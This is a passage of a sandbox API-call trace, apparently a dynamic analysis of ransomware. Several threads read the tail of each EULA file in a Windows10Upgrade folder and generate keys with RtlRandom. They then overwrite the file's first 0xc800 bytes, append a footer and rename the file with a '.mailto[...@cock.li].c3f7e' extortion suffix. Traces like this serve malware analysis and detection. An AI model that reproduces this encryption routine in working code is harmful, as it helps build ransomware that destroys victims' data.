	[0088.495] NtQuerySystemTime (in: CurrentTime=0x2ba3f6fc | out: CurrentTime=0x2ba3f6fc*=132251868152256970) returned 0x0
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x343bf13e
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xe263edc3
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x9e93f427
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x78f555f4
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x5cf95d17
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x5c3c2b3a
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xaaf04f04
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x83f3ce92
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xe12f7e46
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x20acfee2
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x291a6e5a
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x9eb67699
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xb541eec5
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x135470ec
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x291f27eb
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xd5b2f0e3
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x63013093
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xb48f1706
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xa94b6aa2
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xe179d73d
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xc4d33b99
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xb206a0bc
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x4bd93e5b
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x521812bd
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x370058ae
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x5cb74f96
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x6b3baa97
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xce4038f
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0xa146ccd1
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x4acb91c0
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x4a25a378
	[0088.495] RtlRandom (in: Seed=0x2ba3f708 | out: Seed=0x2ba3f708) returned 0x4aab0920
	[0088.504] SetFilePointerEx (in: hFile=0x1b9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.504] ReadFile (in: hFile=0x1b9c, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ba3f6dc, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2ba3f6dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.505] SetFilePointerEx (in: hFile=0x1b9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.505] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.505] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.506] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.506] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.506] WriteFile (in: hFile=0x1b9c, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ba3f6dc, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2ba3f6dc*=0xc800, lpOverlapped=0x0) returned 1
	[0088.508] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.508] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bee0
	[0088.509] SetFilePointerEx (in: hFile=0x1b9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.509] WriteFile (in: hFile=0x1b9c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2ba3f75c, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2ba3f75c*=0x10d, lpOverlapped=0x0) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be38) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.510] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.510] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm"
	[0088.510] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.510] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2ba3f714, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.510] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.511] NtQueryInformationFile (in: FileHandle=0x1b9c, IoStatusBlock=0x2ba3f720, FileInformation=0x2ba3f6f8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ba3f720, FileInformation=0x2ba3f6f8) returned 0x0
	[0088.511] NtSetInformationFile (FileHandle=0x1b9c, IoStatusBlock=0x2ba3f720, FileInformation=0x2ba3f6f8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.512] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.512] FlushFileBuffers (hFile=0x1b9c) returned 1
	[0093.255] CloseHandle (hObject=0x1b9c) 

Thread:
	id = 1260
	os_tid = 0x1348

	[0088.504] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm")) returned 0x20
	[0088.504] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm", dwFileAttributes=0x20) returned 1
	[0088.507] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ba0
	[0088.508] GetFileSizeEx (in: hFile=0x1ba0, lpFileSize=0x2babf984 | out: lpFileSize=0x2babf984*=66159) returned 1
	[0088.508] SetFilePointerEx (in: hFile=0x1ba0, liDistanceToMove=0x1026b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.508] ReadFile (in: hFile=0x1ba0, lpBuffer=0x2babf908, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2babf904, lpOverlapped=0x0 | out: lpBuffer=0x2babf908*, lpNumberOfBytesRead=0x2babf904*=0x4, lpOverlapped=0x0) returned 1
	[0088.513] SetFilePointerEx (in: hFile=0x1ba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.513] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.513] NtQuerySystemTime (in: CurrentTime=0x2babf8e4 | out: CurrentTime=0x2babf8e4*=132251868152569212) returned 0x0
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x362bcaca
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xbdf616e6
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x837c7504
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xe95f639a
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xb1a13d48
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x5a5d1fb8
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xb458b399
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x455c36b2
	[0088.513] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xdd1b9442
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xa27b9bc1
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xc929b28d
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x9d2daf72
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x3662c4c4
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xd2a948d0
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x1b8c590f
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x74f37289
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x40db5aa7
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x5090912b
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x11f095
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x2ff3733a
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x3926b5f
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x9aefd753
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xdc1675be
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xe8597f73
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x83d51f0a
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x3b4f2d40
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x6ee70d48
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xce17ebfc
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xd8d3c655
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x70c292df
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0xde90455a
	[0088.514] RtlRandom (in: Seed=0x2babf8f0 | out: Seed=0x2babf8f0) returned 0x6de70722
	[0088.522] SetFilePointerEx (in: hFile=0x1ba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.522] ReadFile (in: hFile=0x1ba0, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2babf8c4, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2babf8c4*=0xc800, lpOverlapped=0x0) returned 1
	[0088.523] SetFilePointerEx (in: hFile=0x1ba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.523] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.524] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.525] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.525] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.525] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.525] WriteFile (in: hFile=0x1ba0, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2babf8c4, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2babf8c4*=0xc800, lpOverlapped=0x0) returned 1
	[0088.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.526] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.526] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bee0
	[0088.526] SetFilePointerEx (in: hFile=0x1ba0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.526] WriteFile (in: hFile=0x1ba0, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2babf944, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2babf944*=0x10d, lpOverlapped=0x0) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bea8) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.528] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.528] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm"
	[0088.528] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.528] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2babf8fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.528] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.529] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.529] NtQueryInformationFile (in: FileHandle=0x1ba0, IoStatusBlock=0x2babf908, FileInformation=0x2babf8e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2babf908, FileInformation=0x2babf8e0) returned 0x0
	[0088.529] NtSetInformationFile (FileHandle=0x1ba0, IoStatusBlock=0x2babf908, FileInformation=0x2babf8e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.530] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.530] FlushFileBuffers (hFile=0x1ba0) returned 1
	[0093.255] CloseHandle (hObject=0x1ba0) 

Thread:
	id = 1261
	os_tid = 0x1290

	[0088.526] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm")) returned 0x20
	[0088.531] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm", dwFileAttributes=0x20) returned 1
	[0088.531] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ba4
	[0088.531] GetFileSizeEx (in: hFile=0x1ba4, lpFileSize=0x2bb3fafc | out: lpFileSize=0x2bb3fafc*=75552) returned 1
	[0088.531] SetFilePointerEx (in: hFile=0x1ba4, liDistanceToMove=0x1271c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.531] ReadFile (in: hFile=0x1ba4, lpBuffer=0x2bb3fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bb3fa7c, lpOverlapped=0x0 | out: lpBuffer=0x2bb3fa80*, lpNumberOfBytesRead=0x2bb3fa7c*=0x4, lpOverlapped=0x0) returned 1
	[0088.533] SetFilePointerEx (in: hFile=0x1ba4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.533] NtQuerySystemTime (in: CurrentTime=0x2bb3fa5c | out: CurrentTime=0x2bb3fa5c*=132251868152725487) returned 0x0
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x71b79bef
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x1871cad1
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xe372da59
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x29678f36
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xdc1286f8
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x984c9990
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x4c5175eb
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x9c84af9b
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xa6b844b0
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x5daea913
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xf30695f1
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xc68b1114
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xa0bbf4a3
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x9656bf5e
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x49292f63
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x8ef2172c
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x5e55cf2a
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x4c20fe20
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xac20a4d
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x83c6012
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x47f4675a
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xf61489ba
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x33946e2
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x51554d63
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x71415903
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xb8da8e06
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xe73a3377
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xc224f1a7
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xcf690b14
	[0088.533] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x6fdc25ba
	[0088.534] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0x96d4b487
	[0088.534] RtlRandom (in: Seed=0x2bb3fa68 | out: Seed=0x2bb3fa68) returned 0xad392321
	[0088.542] SetFilePointerEx (in: hFile=0x1ba4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.542] ReadFile (in: hFile=0x1ba4, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2bb3fa3c, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2bb3fa3c*=0xc800, lpOverlapped=0x0) returned 1
	[0088.543] SetFilePointerEx (in: hFile=0x1ba4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.543] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.544] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.544] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.544] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.544] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.545] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
